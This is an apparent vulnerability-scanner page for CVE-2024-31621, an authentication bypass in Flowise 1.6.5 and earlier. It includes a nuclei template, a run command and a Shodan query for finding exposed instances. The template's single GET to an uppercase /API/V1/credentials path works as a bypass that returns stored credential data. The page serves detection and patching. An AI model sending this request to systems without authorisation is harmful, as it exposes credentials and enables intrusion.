Flowise 1.6.5 - Authentication Bypass

highseverity

7.6CVSS score

59.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The flowise version <= 1.6.5 is vulnerable to authentication bypass vulnerability.

Impact

Attackers can bypass authentication and gain unauthorized access to the Flowise application and its data.

Fix

Update Flowise to version 1.6.6 or later.

How to confirm it

Send: GET {{BaseURL}}/API/V1/credentials
Positive when: contains "\"credentialName\":" and "\"updatedDate\":" AND status 200

Run it with nuclei: nuclei -id CVE-2024-31621 -u <target>

The full check

id: CVE-2024-31621

info:
  name: Flowise 1.6.5 - Authentication Bypass
  author: DhiyaneshDK
  severity: high
  description: |
    The flowise version <= 1.6.5 is vulnerable to authentication bypass vulnerability.
  impact: |
    Attackers can bypass authentication and gain unauthorized access to the Flowise application and its data.
  remediation: |
    Update Flowise to version 1.6.6 or later.
  reference:
    - https://www.exploit-db.com/exploits/52001
    - https://github.com/FlowiseAI/Flowise/releases
    - https://flowiseai.com/
  classification:
    cve-id: CVE-2024-31621
    cwe-id: CWE-94
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L
    cvss-score: 7.6
    epss-score: 0.59867
    epss-percentile: 0.9914
    cpe: cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-2051052918
  tags: cve,cve2024,auth-bypass,flowise,vuln,ai

http:
  - method: GET
    path:
      - "{{BaseURL}}/API/V1/credentials"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"credentialName":'
          - '"updatedDate":'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from